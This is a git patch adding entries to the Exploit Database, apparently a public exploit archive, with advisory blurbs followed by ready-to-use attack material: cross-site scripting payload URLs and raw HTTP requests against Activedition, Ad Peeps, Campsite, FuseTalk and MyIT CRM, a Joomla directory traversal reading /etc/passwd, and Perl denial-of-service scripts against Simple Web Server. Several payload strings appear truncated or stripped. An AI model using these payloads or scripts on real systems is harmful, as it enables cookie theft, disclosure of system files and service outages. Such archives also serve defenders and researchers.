From 414aad7eb085a4664950491df1d32373dacb4cdd Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 23 Aug 2014 04:40:24 +0000 Subject: [PATCH] Updated 08_23_2014 --- files.csv | 12 +++ platforms/asp/webapps/34397.txt | 15 ++++ platforms/hardware/dos/34394.pl | 36 +++++++++ platforms/php/remote/34390.rb | 138 ++++++++++++++++++++++++++++++++ platforms/php/webapps/34386.txt | 12 +++ platforms/php/webapps/34387.txt | 21 +++++ platforms/php/webapps/34388.txt | 9 +++ platforms/php/webapps/34389.txt | 18 +++++ platforms/php/webapps/34391.txt | 19 +++++ platforms/php/webapps/34392.txt | 52 ++++++++++++ platforms/php/webapps/34393.txt | 7 ++ platforms/php/webapps/34396.txt | 16 ++++ platforms/windows/dos/34395.pl | 60 ++++++++++++++ 13 files changed, 415 insertions(+) create mode 100755 platforms/asp/webapps/34397.txt create mode 100755 platforms/hardware/dos/34394.pl create mode 100755 platforms/php/remote/34390.rb create mode 100755 platforms/php/webapps/34386.txt create mode 100755 platforms/php/webapps/34387.txt create mode 100755 platforms/php/webapps/34388.txt create mode 100755 platforms/php/webapps/34389.txt create mode 100755 platforms/php/webapps/34391.txt create mode 100755 platforms/php/webapps/34392.txt create mode 100755 platforms/php/webapps/34393.txt create mode 100755 platforms/php/webapps/34396.txt create mode 100755 platforms/windows/dos/34395.pl diff --git a/files.csv b/files.csv index 8380b5056..8e129a7d8 100755 --- a/files.csv +++ b/files.csv @@ -30971,3 +30971,15 @@ id,file,description,date,author,platform,type,port 34383,platforms/php/webapps/34383.txt,"Social Media 'index.php' Local File Include Vulnerability",2010-07-27,"Harri Johansson",php,webapps,0 34384,platforms/jsp/webapps/34384.txt,"Jira 4.0.1 Cross Site Scripting and Information Disclosure Vulnerabilities",2010-07-28,MaXe,jsp,webapps,0 34385,platforms/linux/remote/34385.txt,"KVIrc <= 4.0 '\r' Carriage Return in DCC Handshake Remote Command Execution Vulnerability",2010-07-28,unic0rn,linux,remote,0 +34386,platforms/php/webapps/34386.txt,"Cetera eCommerce Multiple SQL Injection Vulnerabilities",2010-07-28,MustLive,php,webapps,0 +34387,platforms/php/webapps/34387.txt,"Cetera eCommerce Multiple Cross Site Scripting and HTML Injection Vulnerabilities",2010-07-28,MustLive,php,webapps,0 +34388,platforms/php/webapps/34388.txt,"SPIP 2.1 'var_login' Parameter Cross Site Scripting Vulnerability",2010-07-28,dotsafe.fr,php,webapps,0 +34389,platforms/php/webapps/34389.txt,"Impact Software Ad Peeps Cross Site Scripting and HTML Injection Vulnerabilities",2010-07-27,Matt,php,webapps,0 +34390,platforms/php/remote/34390.rb,"HybridAuth install.php PHP Code Execution",2014-08-21,metasploit,php,remote,80 +34391,platforms/php/webapps/34391.txt,"Sourcefabric Campsite Multiple Cross Site Scripting Vulnerabilities",2010-07-30,"High-Tech Bridge SA",php,webapps,0 +34392,platforms/php/webapps/34392.txt,"MyIT CRM 'index.php' Multiple Cross Site Scripting Vulnerabilities",2010-08-02,"Juan Manuel Garcia",php,webapps,0 +34393,platforms/php/webapps/34393.txt,"Joomla! 'com_jigsaw' Component 'controller' Parameter Directory Traversal Vulnerability",2010-08-03,FL0RiX,php,webapps,0 +34394,platforms/hardware/dos/34394.pl,"D-Link WBR-2310 1.0.4 Web Server HTTP GET Request Remote Buffer Overflow Vulnerability",2010-08-03,"Rodrigo Escobar",hardware,dos,0 +34395,platforms/windows/dos/34395.pl,"PMSoftware Simple Web Server 2.1 'From:' Header Processing Remote Denial Of Service Vulnerability",2010-08-03,"Rodrigo Escobar",windows,dos,0 +34396,platforms/php/webapps/34396.txt,"FuseTalk 3.2/4.0 Multiple Cross Site Scripting Vulnerabilities",2010-07-03,"Juan Manuel Garcia",php,webapps,0 +34397,platforms/asp/webapps/34397.txt,"Activedition 'activedition/aelogin.asp' Multiple Cross Site Scripting Vulnerabilities",2009-09-25,"Richard Brain",asp,webapps,0 diff --git a/platforms/asp/webapps/34397.txt b/platforms/asp/webapps/34397.txt new file mode 100755 index 000000000..743873fa4 --- /dev/null +++ b/platforms/asp/webapps/34397.txt @@ -0,0 +1,15 @@ +source: http://www.securityfocus.com/bid/42164/info + +Activedition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Activedition 4.0 is vulnerable; other versions may also be affected. + +http://www.example.com/activedition/aelogin.asp?status=Fail&noreset=True&workflow='"a]=aaa \ No newline at end of file diff --git a/platforms/php/webapps/34389.txt b/platforms/php/webapps/34389.txt new file mode 100755 index 000000000..5e7ff6626 --- /dev/null +++ b/platforms/php/webapps/34389.txt @@ -0,0 +1,18 @@ +source: http://www.securityfocus.com/bid/42071/info + +Impact Software Ad Peeps is prone to multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. + +Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +Ad Peeps 8.5d1 is vulnerable; other versions may also be affected. + +http://www.example.com/adpeeps/index.php?uid="> +http://www.example.com/adpeeps/index.php?loc=login_lookup&uid="> +http://www.example.com/adpeeps/index.php?loc=adminlogin&uid="> +http://www.example.com/adpeeps/index.php?loc=createcampaign&mode=new&uid=100000&c ampaignid="> +http://www.example.com/adpeeps/index.php?loc=view_account_stats&uid=100000&type=" >&period="> +http://www.example.com/adpeeps/index.php?loc=view_adrates&uid="> +http://www.example.com/adpeeps/index.php?loc=account_confirmation&accname=">alert(1)&loginpass=">&uid=100000 +http://www.example.com/adpeeps/index.php?loc=setup_account&e6=new&e12=bypass&e9=" > +http://www.example.com/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from=">&message=&subject="> +http://www.example.com/adpeeps/index.php?loc=edit_ad_package&uid=100000&idno=">alert(0) diff --git a/platforms/php/webapps/34391.txt b/platforms/php/webapps/34391.txt new file mode 100755 index 000000000..da9443efc --- /dev/null +++ b/platforms/php/webapps/34391.txt @@ -0,0 +1,19 @@ +source: http://www.securityfocus.com/bid/42107/info + +Sourcefabric Campsite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Sourcefabric Campsite 3.3.6 is vulnerable; prior versions may also be affected. + +http://www.example.com/admin/system_pref/do_edit.php?f_campsite_online=Y&f_site_title=Kora">&f_site_metakeywords=11&f_site_metadescription=22&f_cache_enabled=N&f_cache_engine=APC&f_imagecache_lifetime=86400&f_secret_key=1&f_session_lifetime=1400&f_keyword_separator=%2C&f_login_num=3&f_max_upload_filesize=16M&f_smtp_www.example.com=localwww.example.com&f_smtp_port=25&f_editor_image_ratio=100&f_external_subs_management=N&f_use_replication=N&f_db_repl_www.example.com=&f_db_repl_user=&f_db_repl_pass=&f_db_repl_port=3306&f_use_campcaster=N&f_cc_www.example.comname=localwww.example.com&f_cc_www.example.comport=80&f_cc_xrpcpath=%2Fcampcaster%2FstorageServer%2Fvar%2Fxmlrpc%2F&f_cc_xrpcfile=xrLocStor.php&f_template_filter=.*%2C+CVS&save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C HTTP/1.1 + + +
+ + + +
+ diff --git a/platforms/php/webapps/34392.txt b/platforms/php/webapps/34392.txt new file mode 100755 index 000000000..9d4f8e206 --- /dev/null +++ b/platforms/php/webapps/34392.txt @@ -0,0 +1,52 @@ +source: http://www.securityfocus.com/bid/42140/info + +MyIT CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +MyIT CRM 0.2.8.1 is vulnerable; other versions may also be affected. + +Proof of Concept: +http://XXX.XXX.XXX.XXX/index.php?page=employees:main&page_title=View%20Employees + +* The parameter 'name' in the POST request has been set to: +>"'> +POST /?page=employees:main HTTP/1.0 +Cookie: PHPSESSID=5460a3d8ab4f72cc624e1a6744f5ecfd +Content-Length: 159 +Accept: */* +Accept-Language: en-US +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) +Host: demo.myitcrm.com +Content-Type: application/x-www-form-urlencoded +Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees +name=>"'>&submit=Search +* The parameter 'employee_id' in the GET request has been set to: +>"'> +GET /?page=employees:employee_details&employee_id=>"'> HTTP/1.0 +Cookie: PHPSESSID=4b54d326030a5967e44f5719747a7c86 +Accept: */* +Accept-Language: en-US +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) +Host: demo.myitcrm.com +Referer: http://demo.myitcrm.com/?page=employees:main +* The parameter 'page' in the POST request has been set to: +>%22%27> +POST /?page=>%22%27> HTTP/1.0 +Cookie: PHPSESSID=b639ec20245375dcf4b1c3f25dfdf20f +Content-Length: 19 +Accept: */* +Accept-Language: en-US +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) +Host: demo.myitcrm.com +Content-Type: application/x-www-form-urlencoded +Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees +name=&submit=Search \ No newline at end of file diff --git a/platforms/php/webapps/34393.txt b/platforms/php/webapps/34393.txt new file mode 100755 index 000000000..d84c554e3 --- /dev/null +++ b/platforms/php/webapps/34393.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/42144/info + +The 'com_jigsaw' component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. + +Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. + +http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/34396.txt b/platforms/php/webapps/34396.txt new file mode 100755 index 000000000..562f6228b --- /dev/null +++ b/platforms/php/webapps/34396.txt @@ -0,0 +1,16 @@ +source: http://www.securityfocus.com/bid/42157/info + +FuseTalk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +FuseTalk 4.0 is vulnerable; other versions may also be affected. + +http://www.example.com/usersearchresults.cfm?keyword=ttm--"%20>&FT_ACTION=SearchUsers - (IE8 +tested) + +or + +http://www.example.com/categories.aspx?catid=76&FTVAR_SORT=date&FTVAR_SORTORDER=0017ttm-" +style=x:expression(alert("TheTestManager")) ttm=" (IE7 test) \ No newline at end of file diff --git a/platforms/windows/dos/34395.pl b/platforms/windows/dos/34395.pl new file mode 100755 index 000000000..d2c441814 --- /dev/null +++ b/platforms/windows/dos/34395.pl @@ -0,0 +1,60 @@ +source: http://www.securityfocus.com/bid/42155/info + +PMSoftware Simple Web Server is prone to a denial-of-service vulnerability. + +Remote attackers can exploit this issue to cause the application to stop responding, denying service to legitimate users. + +Simple Web Server 2.1 is vulnerable; other versions may also be affected. + +#!/usr/bin/perl +use IO::Socket; + + + $ip = $ARGV[0]; + $port = $ARGV[1]; + $conn = $ARGV[2]; + + $num = 0; + + + while ( $num <= $conn ) { + system("echo -n ."); + $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr => +"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; + + close($s); + $num++; + } + + +#!/usr/bin/perl +use Net::HTTP; + + if (@ARGV < 1) { + usage(); + } + + + $host = @ARGV[0]; + $port = @ARGV[1]; + $num = 0; + + print "[+] Sending request...\n"; + + + while ($num <= 255) { + my $s = Net::HTTP->new(Host => $host, HTTPVersion => "1.0") || die $@; + $s->write_request(GET => "/", 'User-Agent' => "Mozilla/5.0", + 'From' => chr($num)); + + $num++; + close($s); + } + + print "\n[+] Done!\n"; + +sub usage() { + print "[-] Usage: <". $0 ."> \n"; + print "[-] Example: ". $0 ." 127.0.0.1 80\n"; + exit; +}